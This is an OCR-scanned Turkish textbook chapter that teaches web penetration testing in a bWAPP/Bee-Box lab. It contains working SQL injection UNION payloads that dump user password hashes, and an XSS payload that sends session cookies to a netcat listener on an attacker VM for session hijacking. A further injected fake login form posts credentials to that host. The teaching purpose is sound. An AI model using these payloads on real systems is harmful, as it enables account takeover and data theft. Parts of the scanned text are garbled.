| 5. Adim: Agilan sayfadan Download Latest Version butonuna tiklayarak bWAPP’In son versiyonunu
l indiriniz (Gorsel 4.5).

Warning! Malware detected. Download at your own risk.

Download Latest Version

Gorsel 4.5: bWAPP indirme sayfasi
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' 6. Adim: indirilen dosya icindeki bWAPP klasoriinii web sunucusu web sayfasi barindirma klasoérii !
. icine kopyalayiniz (Bu klasér, XAMPP icin genellikle “C:\xampp\htdocs” yoludur.).

- 7. Adim: XAMPP Control Panel uygulamasini galistiriniz.

l 8. Adim: XAMPP kontrol panelinden Apache ve MySQL sunucularini galistiriniz (Gorsel 4.6).

| XAMPP Control Panel v3.2.3 [ Compiled: Mar 7th 2019 ] = O X
' XAMPP Control Panel v3.2.3 &” Confia
Modules g
Netstat
Service Module  PID(s) Port(s) Actions Sp S
T4T.
Apache 122“?3 80, 443 Stop Admin Config Logs B shel
MySQL 22728 3306 Stop Admin Config Logs
FileZilla Start Admin Config Logs F Services
Mercury Start Admin Config Logs © Help
Tomcat Start Admin Config Logs I auit
113:28:13 [main] The Tomcat module is disabled
13:28:13 [main] Starting Check-Timer
13:28:13 [main] Control Panel Ready
13:26:23 [Apache] Attempting to start Apache app...
13:28:23 [Apache] Status change detected: running
13:28:46 [mysql] Attempting to start MySQL app...
13:28:46 [mysql] Status change detected: running
13:29:02 [main] Executing "c-\xampp_5_6\"

Gorsel 4.6: XAMPP Control Panel

'9 Adim: Dosya gezginini kullanarak bWAPP/admin klaséri icindeki settings.php dosyasini metln'
- editord ile aginiz (Gorsel 4.7). .

. - ] X

~ admin e +

@ Yeni ~ TN Sirala ~ = Goriinim ~ nes
&« S5 v ~ « Windows (C) » xampp * htdocs * bWAPP » admin v O admin klasorinde ara yel

~
Ad Deqigtirme tarihi Tar Boyut

[=] index.php 27.09.2014 17:58 PHP Kaynak Dosyasl 5KB

[ phpinfo.php 1.05.2014 21:51 PHP Kaynak Dosyasi 1KB

[ settings.php 29.09.2014 11:00 PHP Kaynak Dosyasi 3KB
3 6de E QJ

Gorsel 4.7: settings.php dosyasi
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// Database connection settings
Sdb_server = “localhost”;
Sdb_username = “root”;

awn .,

Sdb_password =
Sdb_name = ”bWAPP”-

1 11 Adim: internet tarayicisinda http://localhost/bWAPP/install.php adresini aginiz.
! 12 Adim: Acilan sayfada Click here to install BWAPP. linkine tiklayiniz (Goérsel 4.8).

a¥ DBWAPP - Installation X +

<« C @ localhost/bWAPP/install.php
=
o

an extremely Iauﬂgy web opp !

Install infFo Taks & Training Blog

/ Installation /

Click here to install bWAPP.

Gorsel 4.8: bWAPP kurulum sayfasi

a¥ DWAPP - Installation X +

< C  © localhost/bWAPP/install.php?install=yes
C—
o

ah extremely lauﬂﬁy web opp |

Loain New User inFo Tolks & Training Blog

/ Installation /

bWAPP has been installed successfully!

Gorsel 4.9: bWAPP kurulum tamamlandi sayfasi
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7 I_ogin /

Enter your credentials (bee/bug).

Login:
|bee ‘

Password:

Set the security level:

Gorsel 4.10: bWAPP login sayfasi

UYGULAMA

> Bee-Box test ortamini verilen adimlar dogrultusunda gercgeklestiriniz.

' 1. Adim: Test ortami i¢in sistemde sanal makine programi kurulu olmalidir. Sistemde sanal makine
. programi yoksa indirip kurunuz (Cihazinizda sanal makine programi mevcutsa bu adimi atlayiniz.).
1

I .
! 2. Adim: Internet tarayicisindan http://www.itsecgames.com/download.htm adresine giriniz.

' 3. Adim: Agilan sayfadan You can download bee-box from here linkine tiklayiniz (Gorsel 4.11).

/ Downhload /

You can download bWAPP from here.

Another possibility is to download bee-box, a custom Linux virtual machine pre-installed with bWAPP.
bee-box gives you several ways to hack and deface the bWAPP website. It's even possible to hack bee-box to get
root access... With bee-box you have the opportunity to explore all bWAPP vulnerabilities!

You can download bee-box from here.

Gorsel 4.11: bWAPP ve Bee-Box indirme sayfasi
' 4. Adim: indirilen sikistirilmis dosya icindeki bee-box klasériinii ¢ikariniz.

' 5. Adim: Sanal makine programini ¢alistiriniz.
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'6 Adim: Sanal makine programi ana penceresinde Yeni butonuna tiklayarak yeni bir sanal makine :
| + ekleyiniz (Gorsel 4.12). )

Dosya Makine Yardim

e s O Gl R G

Tercihler  Ige Aktar Disa Aktar  Yeni

- Hos Geldiniz!

Gorsel 4.12: Sanal makine programi

: 7. Adim: Yeni sanal makineye bir isim verip [Tur, Linux ve Striim, Ubuntu olarak seciniz (Gorsel 4. 13)] i
4 ileri butonuna tiklayiniz. -

8¢ Sanal Makine Olugtur ? X

Sanal Makine Adi ve Isletim Sistemi

Litfen yeni sanal makine icin agiklayici bir ad ve hedef klasor secin. Sectiginiz ad bu makineyi tanimlamak icin
VirtualBox genelinde kullamlacaktir. Tlave olarak, misaifr isletim sistemini yiklemek igin kullanilabilecek bir 150
kalibi secebilirsiniz.

Ad: Bee Box q?
Klasar:  C:\bee-box w
ISO Kalibi:  <segilmedi= w
Dizenleme:
Tir: | Linux v | E.EI,
Suram:  Ubuntu (84-bit) o

Katihmsiz Kurulumu atla

(i) Segilen 150 kalibi yok, misafir 15'nin el ile yiiklenmesi gerekecek.

Yardim Uzman Kipi Geri fotal

Gorsel 4.13: Sanal Makine Olustur penceresi
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ﬁ Sanal Makine Olugtur ? -4

Donanim

Bellek miktarini ve sanal islemci sayisini degistirerek sanal makinenin donanimini

degistirebilirsiniz. EFT'yi etkinlestirmek de mimkiindir.
4 MB 16384 MB
Blgmciler:. ; , . . : _ . ; _ . ; ; =1 :
1 Islemci 16 Islemci

(] EFI etkinlestir (yalnizca dzel 15'leri)

Yardim Geri Teri Iptal

Gorsel 4.14: Sanal makine donanim bilgileri

'9 Adim: Yeni sanal makinenin sanal sabit diski olarak bee-box klaséri icindeki bee- box.vmdk'
1 dosyasm| secip ileri butonuna tiklayiniz (Gorsel 4.15). 1

V¢ Sanal Makine Olustur 2 X

Sanal Sabit Disk

Eder isterseniz yeni makineye sanal bir sabit disk ekleyebilirsiniz. Ya yeni bir sabit disk dosyasi
olusturabilir ya da varolan bir sabit disk dosyasi segebilirsiniz. Alternatif olarak, sanal sabit disk
olmadan bir sanal makine olusturabilirsiniz.

() simdi Sanal Bir Sabit Disk Olustur

Disk Boyutu: . ) 25,00 GB

4,00 MB 2,00 TB

Tam Boyutu 6nceden ayir

© varolan Sanal Bir Sabit Disk Dosyasi Kullan

£)

bee-box.vmdk (Normal, 20,00 GB) W

() sanal Bir Sabit Disk Ekleme

Yardim Geri Iptal

Gorsel 4.15: Sanal makine sanal sabit disk
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ﬁ Sanal Makine Olugtur ? -4

Ozet

Asadidaki tablo, yeni sanal makine icin sectiginiz yapilandirmay: dzetler. Yapilandirmadan
memnun oldugunuzda, sanal makineyi olusturmak icin Bitir'e basin. Alternatif olarak, geri
danebilir ve yapilandirmay: degistirebilirsiniz.

*z:} Makine Adi ve IS Tiirii
Makine Adi Bee Box
Makine Klasdri C:/bee-box/Bee Box
1SO Kalibi
Misafir IS Tiiri Ubuntu (64-bit)
Q Donamm
Ana Bellek 2048
Islemci 1
EFI Etkin false
|2 Disk
Takil Disk C:\bee-box\bee-box.vmdk

Yardim Geri Bitir Iptal

Gorsel 4.16: Sanal makine Ozeti

' 11. Adim: Sanal makine programinda Bee Box sanal makinesinin Baglat butonuna basarak ¢aligtiriniz ! )
1 (Gorsel 4.17). 1

Dosya Makine Anhk Gorintd  Yardim

3@

Al Sil GeriYukle Ozellikler Codalt Ayarlar Vazgeg Baslat

Ad Alinma

Pa © i = Osawown

Gorsel 4.17: Bee Box sanal makinesini ¢alistirma

0

New User nFo Talks & Training

# LOc_:)in 74

Enter your credentials (bee/bug).

Login:
Password:

(ooe] |

Set the security level:
low =

Gorsel 4.18: Sanal makinede bWAPP uygulamasi
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'13 Adim: Sanal makinede Tirkce dil destegi icin Sytem menisiinden Preferences ve ardmdan'
- Keyboard komutuna tiklayiniz (Gorsel 4.19). -

G Applications Places System er
% Preferences >| @ Appearance
u;_'-_nﬂa Administration  »| s=s Keyboard

e G @ = Keyboard Shortcuts
: 9 Help and Support | =
| ¥ BWAPP - Login o 4 Main Menu

File Edit “iew History

Gorsel 4.19: System mensi

' 14. Adim: Acilan Keyboard Preferences penceresinde Layouts tabina tiklayip Add butonuna basiniz :
- (Gorsel 4.20). 1

= Keyboard Preferences =

Genaral‘ Layouts |Access\bi|ity} Mouse Keys }Typing Braakl

Keyboard model: [ Generic 105-key (Intl) PC l

Selected layouts:

Layout Default

Belgium ®

M Separate |ayout for each window

HErint ]

Remave

ok add.. l l ¢ Reset to Defaults

Layout Options...

Type to test settings: [ ]

Gorsel 4.20: Keyboard Preferences penceresi

' 15. Adim: Choose a Layout penceresinde, kullandiginiz klavyeye uygun tercihleri secip Add butonuna '
- basiniz (Gorsel 4.21). -

Choose atltayout

Layouts; l Turkey = ]
Variants: léDefault :]
Preview:

=

Gorsel 4.21: Choose a Layout penceresi

E
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General‘ Layouts |Accessib\|ity] Mouse Keys | Typing Break

Keyboard model: l Generic 105-key (Intl) PC l

Selected layouts:

Layout Default
Belgium @]
Turkey ®

Separate |ayout for each window

ﬁgrmt l

I == Remowe

o Add... l l c Reset to Defaults

?Layout Options...

Type to test settings: [ ]

Gorsel 4.22: Keyboard Preferences penceresi

' 17. Adim: Sanal makinenin gergcek makine ve diger makinelerle ag lizerinde iletisim yapabilmesi igin '
| | sanal makine uygulamasinin Aygitlar menilsiinden Ag ve ardindan Ag Ayarlari... komutunu tlklay|n|z \
! (Gorsel 4.23). !

Bee Box [Cahgryor] - Oracle VM VirtualBox = O X

Dosya Makine Goriinim Giris  Aygitlar  Yardim

G Applications Places Syste () Optik Siriciler »
Ses k
Al » Ad Ayarlar...

o » - 1 A
PP - Start L &’ A{ Bafdastincisini Bagla

Wioh Kamaralan [

Gorsel 4.23: Ag Ayarlari... komutu
'18 Adim: Acilan penceredeki Bagdastirici 1 alaninda ag bagdastiricisi olarak Kopri Bagda§t|r|C|S|:
' segimini yapiniz (Gorsel 4.24). 1

{23 Bee Box - Ayarlar = O X
E Genel Ag
Sistem Bagdastna 1 Bafidastino 2 Bagdastna 3 Bagdastna 4
E‘ Ekran Af Bafdastnasin etkinlestir
Suna takili:  Képri Bagdastrias: w
@ Depalama
Ad:  Intel(R) Wi-Fi 6 AX201 160MHz W
(D:I Ses
[ Gelismis
w

Gorsel 4.24: Ag penceresi
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! 19 Adim: Sanal makinede Terminal uygulamasini calistirip ifconfig ethO komutuyla IP yapilandirmasini :
1 gostermlz (Gorsel 4.25). )

File Edit Wiew Terminal Tabs Help

bee@bee-box:~% ifconfig ethe B
etho Link encap:Ethernet HWaddr 88:00:27:24:38:c4
MEREL G IR GERTN Bcast:192.168.56.255 Mask:255.255.255.0
inet6 addr: fe80::a00:27ff:feed:38c4/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1588 Metric:1
RX packets:10 errors:® dropped:0 overruns:@ frame:@
TX packets:158 errors:0 dropped:® overruns:0 carrier:8
collisions:@ txqueuelen:1000
RX bytes:1806 (1.7 KB) TX bytes:23988 (23.3 KB)
Base address:0xde20 Memory:fe200000-T0220000

Gorsel 4.25: IP yapilandirmasi

' 20. Adim: Gergek makinenin Terminal uygulamasinda ping <ip adresi> komutuyla sanal makineyle :
1 oIan ag trafigini dogrulayiniz (Gorsel 4.26). 1

C:\Windows>ping 192.168.56.1681

Pinging 192.168.56.101 with 32 bytes of data:
Reply from 192.168.56.101: bytes=32
Reply from 192. .56.181: bytes=32
Reply from 192. .56.181: bytes=32 time<lms
Reply from 192. .101: bytes=32 time<lms

Ping statistics for 192.1 6.181:

Packets: Sent = 4, Received = 4, Lost = @ (8% loss),
Appr mate round trip times in milli-seconds:

Minimum = 8ms, Maximum = Oms, Average = 8ms

Gorsel 4.26: Terminal ping komutu
4.2.2. Web Uygulamalari igin Sizma Testleri Uygulamalari

Web uygulamalari istemci-sunucu mimarisinde calisir (Gorsel 4.27). istemci genellikle kullanici
araylzunu kullanarak sunucudan bilgi génderir veya talep eder. Buna istek (request) denir. Sunucu bu
isteklere uygun islem yaparak bir cevap (response) verir. istemci ve sunucu arasindaki istek ve cevap bir
dongi halinde islemler bitinceye kadar tekrar eder.

istek
(Request)
W {
Cevap
(Response)
WEE_i uygulama Web server
{Istemci) {Sunucu)

Gorsel 4.27: istemci-sunucu mimarisi
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Ara sunucu (Proxy), bilgisayar aglarinda ve internet lzerindeki iletisimi aracilar ve filtreler araciligiyla
yonlendiren bir sunucu veya yazihm uygulamasidir (Gorsel 4.28). Web uygulama giivenlik ve sizma
testlerinde ara sunucunun temel amaci, iletisimin arasina girip iletisimi izlemek/filtrelemek, trafigi
maniplle ederek zafiyetleri tespit etmektir. Web uygulamalarinin giivenlik zafiyetlerini test etmek icin
cesitli araclara ihtiya¢ duyulur.

istek
(Request)

% -

WEI:_I uygulama Web server
(Istemci) (Sunucu)

Cevap
(Response)

Gorsel 4.28: Ara sunucu

UYGULAMA

> Web uygulamasi test araci (yazilimi) kurulum ve yapilandirma islemini verilen
adimlar dogrultusunda gerceklestiriniz.

'1 Adim: internet tarayicisindan https://portswigger.net/burp/communitydownload adresme
.glrmlz

l 2. Adim: Agilan sayfadan Go straight to downloads linkine tiklayiniz (Gorsel 4.29).

Burp Suite
Community
Edition

Start your web security testing journey for free -
download our essential manual toolkit.

Enter your email to download & DOWNLOAD

Go straight to downloads >

Gorsel 4.29: Burp Suite indirme
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'3 Adim: Acilan sayfadan isletim sistemine uygun versiyonu Download butonuna tiklayip |nd|r|n|z:
- (Gorsel 4.30). 1

Professional / Community 2023.9.4

 Stable ]
01 September 2023 at 07:17 UTC

Burp Suite Community Edition ~ Windows (64-bit) v

Gorsel 4.30: Burp Suite Community Windows 64-bit

Burp Suite installation wizard — X

which will guide you through the rest of the setup

Burp Suite Community Edition is preparing the wizard
. process.

[P Cancel

Gorsel 4.31: Burp Suite kurulum

Setup - Burp Suite Community Edition 2023.9.4 - O X

Welcome to the Burp Suite Community
Edition Setup Wizard

This will install Burp Suite Community Edition on your
computer. The wizard will lead you step by step through
the installation.

Click Next to continue, or Cancel to exit Setup.

Mext > Cancel

Gorsel 4.32: Burp Suite kurulum sihirbazi
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| Setup - Burp Suite Community Edition 2023.9.4 — O X |
Select Destination Directory £|
Where should Burp Suite Community Edition be installed?
———

Select the folder where you would like Burp Suite Community Edition to be installed,
then click Next.

C:\Users\Meb\AppData\LocaI\Programs\BurpSuiteCommunitﬂ | Browse ...

Reguired disk space: 343 MB
Free disk space: 323 GB

< Back Mext > Cancel

Gorsel 4.33: Burp Suite Community kurulum yolu

4 9
| Setup - Burp Suite Community Edition 2023.9.4 — O X |
Completing the Burp Suite Community
Edition Setup Wizard

Setup has finished installing Burp Suite Community Edition
on your computer. The application may be launched by
selecting the installed icons.

Click Finish to exit Setup.

Finish

Gorsel 4.34: Burp Suite Community kurulum tamamlama

internet tarayicisi, ara sunucuya baglanmak icin bazi ayarlara ihtiyag duyar. Tarayiciya ara sunucu olarak
Burp Suite Proxy ayarlandiginda tiim internet trafigi Burp Suite Proxy lzerinden gerceklesir. Bu da
internet trafiginin yavaslamasina neden olur. Bu sorunu ortadan kaldirmak igin gesitli tarayici eklentileri
mevcuttur. Bu eklentiler, tarayicinin belirli internet sayfalari tizerinde ara sunucu kullanilmasini saglar.

UYGULAMA

> Web tarayicisina eklenti kurma islemini verilen adimlar dogrultusunda
gerceklestiriniz.

' 1. Adim: Tarayicinizi calistirip eklentiler penceresini aginiz.

' 2. Adim: Arama kismina FoxyProxy yazip aratiniz.
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ﬁ € Onerilen )

FoxyProxy Standard
geligtiren: Eric H. Jung

FoxyProxy Firefox'un sinirl vekil sunucu ayari kabiliyetlerinin yerini alan Firefox'a ekle

gelismis bir vekil ydnetim aracidir. Bu ara¢ SwitchProxy, ProxyButton,
QuickProxy, xyzproxy, ProxyTex, TorButton, vs.'den daha fazla dzelligi
size sunar

Gorsel 4.35: FoxyProxy Standart eklentisi

'4 Adim: Tarayicinizin sag Ust kosesinde yer alan eklenti butonuna basip FoxyProxy eklentlsme:
I‘tlklaymlz 1

iu mport Settings
I= Import Proxy List
Jf
[ —..]

Export Settings

M Dpelete Al
! Delete Browser Data
@' What's My IP?
[
é Log
0‘ About

Gorsel 4.37: FoxyProxy Options penceresi
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' 7. Adim: Ara sunucu IP adresini ve portunu Burp Suite uygulamasinin IP adresi ve portu olacak sekilde ! i
- yapllandlrmlz (Gorsel 4.38). -

Title or Description (optional) Proxy Type
Burp HTTP v
Color Proxy IP address or DNS name v
Pattern Shortcuts Port ¥
Enabled m 8080
Add whitelist pattern to match all URLs
. i _o m Username (optional)
Do not use for localhost and intranet/private IP 0

addresses €@

Password (optional) @

e T

Gorsel 4.38: FoxyProxy Add Proxy

4.3. WEB GUVENLIGi UYGULAMALARI

Guvenlik testleri sirasinda karsilasilabilecek yaygin givenlik agiklarini ve tehditleri anlamak, web
ortaminin glivenligini artirmak icin temel bir adimdir. Web uygulamalarinin giivenligi igin kullanilan bazi
onemli araglar vardir. Bu araclar, web uygulamalarinin glivenligini degerlendirmek, potansiyel tehditleri
tespit etmek ve glivenlik agiklarini ortaya ¢ikarmak icin kullantlir.

UYGULAMA

> Bee-Box test ortaminda SQL Injection uygulamasini verilen adimlar dogrultusunda
gerceklestiriniz.

l 1. Adim: Sanal makine uygulamasinda Bee-Box sanal makinesini ¢alistiriniz. !
| 2. Adim: Firefox internet tarayicisinda internet adresi olarak Bee-Box sanal makinenin IP numarasini i
| giriniz. ]
' ' 3. Adim: Acilan sayfada bWAPP linkine tiklayiniz (Gorsel 4.39). !

@ 192.168.56.101/ X +

&« C O & 19216856101

bWAPP, an extremely buggy web app !
bWAPP

Drupageddon

Evil folder

phpMyAdmin

SQLiteManager

Gorsel 4.39: Giris sayfasi
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I4 Adim: Kullanici adini bee ve sifreyi bug girip, Login butonuna tiklayarak web uygulamasina glrls:
| yapiniz. 1

' 5. Adim: Liste kutusundan SQL Injection (GET/Search) secip Hack butonuna tiklayiniz (Gérsel 4.40). _:

Which bug do you want to hack today? :)

T1Ir OUUs Ijcuuunt

Server-Side Includes (SSI) Injection

SAQL Injection (GET/Search) l

SQL Injection (GET/Select)
SQAL Injection (POST/Search)

|Hack|

Gorsel 4.40: Liste kutusu

/ SQL Inection (GET/Search) /
Search for a movie: | || search |
Title Release Character Genre IMDb
2013 action Link
2008 action Link
2013 action Link

Gorsel 4.41: SQL Injection (Get/Search)

$sql = "SELECT * FROM movies WHERE title LIKE '%" . sgli(gtitle) . "s'";

grecordset = mysql_gquery($sql, $link]);

Gorsel 4.42: Sqli_1.php dosyasi kod bloku
I8 Adim: SQL Injection zafiyeti tespit edildikten sonra bu zafiyeti kullanarak veri tabaninin tablo ve )
Isutunlarlna ulasiimaya calisihr. Arama kutusuna (Gorsel 4.43) man’ union select 1# yazip Search,
: butonuna tiklayiniz (Arama sonucu olarak hata verir. Union SQL komutu ile birlestirilen sorgularda :
, sttun sayilari esit olmahdir. Web uygulamasinin siitun sayisi ile arama kutusuna yazilan koddaki stitun ,
I sayisi esit degildir. Arama kutusuna yazilan kodda Select 1 ile bir stitun getirmesi istenir.). !

/ SQL Injection (GET/Search) /

Search for a movie: |man' union select 1# || Search |

Title Release Character Genre IMDb

Error: The used SELECT statements have a different number of columns

Gorsel 4.43: SQL Injection (Get/Search)
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'9 Adim: Arama kutusuna man’ union select 1,2# yazip Search (Gorsel 4.44) butonuna tlklaymlz'
| (Arama sonucu olarak yine hata verir.). )

/ SQL Irljec:ﬁon (GET/Search) /

Search for a movie: |man' union select 1,2# || Search |

Title Release Character Genre IMDb

Error: The used SELECT statements have a different number of columns

Gorsel 4.44: SQL Injection (Get/Search)
'10 Adim: Arama kutusuna (Gorsel 4.45) yazilan sttunlar artirarak hatasiz koda ulasincaya kadar'
- deneme yapiniz (Yedi adet stitundan olusan man’ union select 1,2,3,4,5,6,7# kodu hata vermez.). _:

/ SQL Injec;ﬁon (GET/search) /

Search for a movie: |man' union select 1,2,3,4,5,6,7# | | Search |

Title Release Character Genre IMDb

2008 action Link

2012 action Link

2 3 5 -+ Link

Gorsel 4.45: SQL Injection (Get/Search)
:11 Adim: Arama kutusuna (Gorsel 4.46) man’ union select 1, table_name, 3, 4, 5, 6, 7 from:
i information_schema.tables where table_schema = database()# kodunu yazip Search butonuna
| tiklayiniz (Bu SQL ctimlesi ile su anki veri tabani igindeki tablo adlari listelenir. ilk siitunda veri tabanina )
' ait tablo isimleri yer alir.). !

L

/ SQL Inection (GET/Search) /
Search for a movie: |mar1' union select 1,tab|e_name,| | Search |

Title Release Character Genre IMDb
2008 action Link
2012 action Link
blog 3 5 - Link
heroes 3 5 4 Link
movies 3 5 4 Link
users 3 5 4 Link

Gorsel 4.46: SQL Injection (Get/Search)
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I12 Adim: Arama kutusuna man’ union select 1, column_name, 3,4, 5, 6, 7 from information_schema. '
| | columns where table_name = ‘users’ # kodunu yazip Search butonuna (Gorsel 4.47) tiklayiniz (User \

! tablosu icindeki sttun adlari listelenir.).

Genre

action

action

4

/ SQL Injection (GET/Search) /
Search for a movie: | || search |
Title Release Character
2008
2012
id 3 5
login 3 5
password 3 5
email 3 5
secret 3 5

IMDb

Link

Link

Link

Link

Link

Link

Link

' 13. Adim: Arama kutusuna man’ union select 1, login, password, 4, 5, 6, 7 from users # kodunu ya2|p
1 Search butonuna (Gorsel 4.48) tiklayiniz (User tablosu icindeki kullanici adlari ve parolalari I|stelen|r) 1

/ SQL Inection (GET/Search) /

Search for a movie: [man' union select 1,login,passwi| | search |

Title Release Character Genre

2008 action

2012 action
AIM 6885858486f31043e5839c735d99457f045affd0 5 4
bee 6885858486f31043e5839¢735d99457f045affd0 5 4

IMDb

Link

Link

Link

Link

Gorsel 4.48: SQL Injection (Get/Search)

I14 Adim: Kullaniclya ait parola bilgisi, hash algoritmasi kullanilan bir dize halindedir. KuIIan|C|I

' parolasm| elde etmek icin kullanilan hash algoritmasini 6grenmek amaciyla internet tarayicisindan

: https://hashes.com/en/tools/hash_identifier adresine gidiniz.

! , 15. Adim: Arama kutusuna elde edilen parolayi yazip, Submit & Identify butonuna tiklayarak kullanilan

! hash algoritmasini ve sifresini elde ediniz (Gorsel 4.49).

6BB5B58486T31843e5839c735d99457f@45affde - bug - Possible algorithms:

SHAL

Gorsel 4.49: Hash Identifier
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Bee-Box test ortaminda SQL Injection (GET/Select) uygulamasinda kullanici adi ve parolasini
elde ediniz.

DEGERLENDIRME

Calismaniz asagida yer alan kontrol listesi kullanilarak degerlendirilecektir. Calismalarinizi yaparken
degerlendirme olgltlerini dikkate aliniz. Calismanizi bir ders saati icinde tamamlayiniz.

KONTROL LIiSTESI
DEGERLENDIRME OLCUTLERI EVET HAYIR

1. Bee-Box sanal makinesini ¢alistirdi.

2. Internet tarayicisinda bWAPP sayfasina giris yapti.

3. SQL Injection (GET/Select) uygulamasini ¢alistirdi.

4. Liste kutusundan bir film adi secerek arama islemini gerceklestirdi.

5. internet tarayicisi adres cubugundaki movie=1 kismini degistirdi
(http://192.168.56.101/bWAPP/sqli_2.php?movie=2&action=go).

6. Adrese SQL komutu yazarak SQL Injection zafiyetini tespit etti
(/bWAPP/sqli_2.php?movie=1 order by 1&action=go).

7. SQL komutunun vyedi sltundan olustugunu tespit etti
(/bWAPP/sqli_2.php?movie=1 order by 7&action=go).

8. Veri tabani icindeki tablolari elde etti
(/bWAPP/sqli_2.php?movie=0 union select 1, GROUP_CONCAT(table_
name),3,4,5,6,7 from information_schema.tables where table_
schema=database()--&action=go).

9. Users tablosu icindeki stitun adlarini elde etti
(/bWAPP/sgli_2.php?movie=0 union select 1, GROUP_
CONCAT(column_name),3,4,5,6,7 from information_schema.columns
where table_name="users’ --&action=go).

10. Kullanici adi ve parolalarini elde etti
(/bWAPP/sqli_2.php?movie=0 union select 1, GROUP_
CONCAT(login),GROUP_CONCAT(password),4,5,6,7 from users
--&action=go).

11. Kullanici parolasini ¢6zdu.

12. Calismayi verilen slirede tamamladi.

13. Eksik oldugu 6lcttleri tamamladi.
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UYGULAMA

> Test ortaminda Cross Site Scripting (XSS) — Reflected (GET) uygulamasini verilen
adimlar dogrultusunda gergeklestiriniz.

! 1 Adim: Sanal makine uygulamasinda sanal makinenizi calistiriniz.
: 2. Adim: internet tarayicisinda internet adresi olarak sanal makinenin IP numarasini giriniz.
: 3. Adim: Acilan sayfada bWAPP linkine tiklayiniz.

1

14. Adim: Kullanici adini bee ve sifre olarak bug girip, Login butonuna tiklayarak web uygulamasina
: giris yapiniz.

: 5. Adim: Liste kutusundan Cross-Site Scripting - Reflected (GET) secip Hack butonuna tiklayiniz.

! 6 Adim: First name ve Last name alanlarini doldurup Go butonuna basiniz (Goérsel 4.50).

/ XSS - RePected (GET) /

Enter your first and last name:
First name:

|Muhammed |

Last name:
| Al |

| Go |

Gorsel 4.50: Cross-Site Scripting - Reflected (GET)

! 7 Adim: First name alanina <b>Bee</b> ve Last name alanina Box yazip (Go6rsel 4.51) onaylaymlz !
1 (Sayfanm altinda Bee yazisi koyu olarak yazar. Bu da XSS zafiyetinin oldugunu gosterir.). 1

/ XSS - Relected (GET) /

Enter your first and last name:

First name:

|<b>Bee<,l’h> |

Last name:
|on |

o]

Gorsel 4.51: Cross-Site Scripting - Reflected (GET)

! 8 Adim: First name alanina <script>alert(1)</script> ve Last name alanina bir deger yazip onaylayiniz !
| (Sayfa acildiginda bir alarm penceresi acllir.).

1 9. Adim: Sanal makine uygulamasindan Kali sanal makinesini calistiriniz.
1

: 10. Adim: Kali sanal makinesinde Firefox internet tarayicisina internet adresi olarak Bee-Box sanal
1 makinenin IP numarasini giriniz.

! 11 Adim: Agilan sayfada bWAPP linkine tiklayiniz ve kullanici girisi yapmayiniz.
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' 12 Adim: Kali sanal makinesinde bir terminal uygulamasi acip ifconfig eth0 komutuyla Kali sanal |
. maklnesmln IP numarasini 6greniniz (Gorsel 4.52). .

ethﬁ < CAST,R G, CAST> mtu 1500
1net 19; lbﬁ 26.18 netmask 2 .8 broadcast 192.168.56.255
inﬁtﬁ fel0 deg ¢4ﬂ-';'m - prefixlen 64 scopeid @=28<link>
uslen 1080 (Ethernet)

: y 6 (11.2 MiB)
drﬂpped @ \ runs @ e @
818 bytes |1’R 3 KiB)
ropped @ overruns @ carrier @ collisions @

13. Adim: Kali sanal makinesin terminal uygulamasinda nc -nlvp 4444 komutunu ¢ahstiriniz (Bu komut :
ile 4444 portu Uzerinden baglantilar dinlenilir.).

1
I
14. Adim: Gergek makinenin XSS- Reflected sayfasinda First name alanina <script> document.write :
(‘<img src= http://192.168.56.102:4444/hacker.php?’ + document.cookie + ’>’);</script> ve Last |
I
1
1
I

' name alanina bir deger yazip onaylayiniz.

' ' 15. Adim: Kali sanal makinesinde terminal uygulamasindan gelen istegi inceleyiniz (Gorsel 4.53).

L C lvp 4444

11;t~n1n? on [any] 44

cannnct to [192.168.5
ecur

44
6. t-],l] from (UNKNOWN) [192.168.56.1] 64891
ity_level= PHPSESSID=cdb 568a@f@3bd5ccfb485395 HTTP/1.1
0; WinB4; x64; rv:109.0) Gecko/20100101 Firefox,/117.0

en-US5;q=0.5,en;q=0.3

' 16. Adim: PHPSESSID degerini kopyalayiniz.

I 17. Adim: Kali sanal makinesinde Firefox internet tarayicisi bOWAPP sayfasina sag tiklayip Inspect (Q)

: komutuna tiklayiniz.
1

' , 18. Adim: Storage tabindan Cookies béliiminde PHPSESSID degeri kismina, kopyalanan PHPSESSID
! degerlnl yapistiriniz (Goérsel 4.54).

Ow 1O Inspector Console [ Debugger ) Metwork {} Style Editor () Performance 4 Memory
[ E Cache Storage il

b E Cookies Name Value Demain

@ http:/f192.168.1.102 PHPSESSID cdb32708221568a0f03bd5ccfb485395 192.168.1.102

b [E] indexed DB security_level 0 1921681102

Gorsel 4.54: PHPSESSID degerini degistirme




I19 Adim: internet tarayicisinda bWAPP sayfasini tekrar aciniz (http://<bee box ip . adr651>/'
I bWAPP/portal php). |

. 1 20. Adim: Kullanici adi ve sifresi girmeden bWAPP uygulamasina giris yapildigini gézlemleyiniz (Gorsel :

Gorsel 4.55: XSS ile kullanici girisi

(siasizoe 2

Bee-Box test ortaminda XSS - Stored (Blog) uygulamasinda kullanici adi ve parolasini elde ediniz.

DEGERLENDIRME

Calismaniz asagida yer alan kontrol listesi kullanilarak degerlendirilecektir. Calismalarinizi yaparken
degerlendirme olgltlerini dikkate aliniz. Calismanizi bir ders saati igcinde tamamlayiniz.

KONTROL LiSTESI

DEGERLENDIRME OLCUTLERI EVET HAYIR

1. Bee-Box sanal makinesini ¢ahstirdi.

2. internet tarayicisinda bWAPP sayfasini giris yapti.

3. XSS - Stored (Blog) uygulamasini ¢alistird.

4. Metin kutusuna deger girerek sistemin ¢alismasni test etti.

5. Metin kutusuna XSS zafiyetini tespit edecek kodu yazarak zafiyeti
buldu (<b>Deneme</b>).

6. Kali sanal makinesini ¢alistirdi.

7. Kali terminal ekraninda port dinleme komutunu yazdi
(nc -nvip 8080).

8. Gergek makinede blog ekle metin kutusuna zafiyeti ele gegirecek
kodu yazdi
(<div style="position: absolute; left: 0; top: 0; width: 1300px; height:
1300px; z-index: 1000;backgroud:white;padding:2em;” ><form
name="login” action="http://192.168.56.102/login.htm|”><p><label
for="login”>Login:</label><br><input type="text” id="login”
name="login” size="20" autocomplete="off"></p> <p><label
for="password”>Password:</label><br><input type="password”
id="password” name="password” size="20" autocomplete="off"></
p><button type="submit” name="form” value="submit”>Login</
button></form></div>).

9. Blog sayfasinda kullanici adi ve parolasi bilgilerini girdi.
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10. Kali sanal makinesinde kullanici adi ve parolayi elde etti
(Blog sayfasinda verileri silmek i¢in tarayici denetim sayfasindan
zafiyet kodu iceren div silinince silme diigmesi ortaya ¢ikar.).

11. Calismayi verilen slirede tamamladi.

